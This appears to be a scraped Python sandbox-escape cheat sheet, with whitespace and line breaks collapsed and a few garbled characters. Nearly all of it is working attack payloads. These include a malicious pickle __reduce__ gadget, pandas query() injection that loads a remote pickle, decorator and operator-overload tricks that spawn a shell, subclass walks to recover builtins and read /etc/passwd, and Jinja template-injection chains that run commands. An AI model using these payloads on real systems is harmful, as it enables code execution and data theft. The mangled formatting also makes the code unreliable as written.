#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
рдЕрдзрд┐рдХ RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')